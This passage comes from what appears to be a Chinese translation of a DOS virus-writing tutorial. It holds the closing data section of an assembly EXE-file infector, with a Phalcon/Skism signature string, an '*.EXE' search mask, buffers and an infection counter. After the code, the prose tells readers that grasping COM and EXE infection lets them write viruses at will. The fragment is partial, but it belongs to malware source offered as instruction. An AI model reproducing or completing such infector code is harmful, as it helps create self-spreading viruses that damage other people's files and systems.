;---------------------------------------------------------------------------
;  解释:
;  上面的代码我们已经看过了。没有?看看COM文件感染部分。:)
;---------------------------------------------------------------------------

signature  db  "[PS/G齗",0     ; Phalcon/Skism G?
EXEmask   db  "*.EXE",0
dot_dot   db  "..",0

heap:
newDTA    db  43 dup (?)
origdir   db  65 dup (?)
numinfect  db  ?
readbuffer  db  1ah dup (?)
endheap:
  end  start

;---------到这里为止剪切-----------------------------------------------------

      是不是讲了太多啦?Ok,我知道我必须说一件事。当你理解了感染COM和EXE文件的概念之后,你的知识将以光的速度增长:)那些运行期病毒是过时的病毒没关系,重要的是概念。(译者注:这也是我翻译此教程的目的.) 当你对所有这些都看懂之后,那你可以随心所欲地编写病毒了。
      我们要停一会儿时间了。下面介绍几个更有用的理论知识。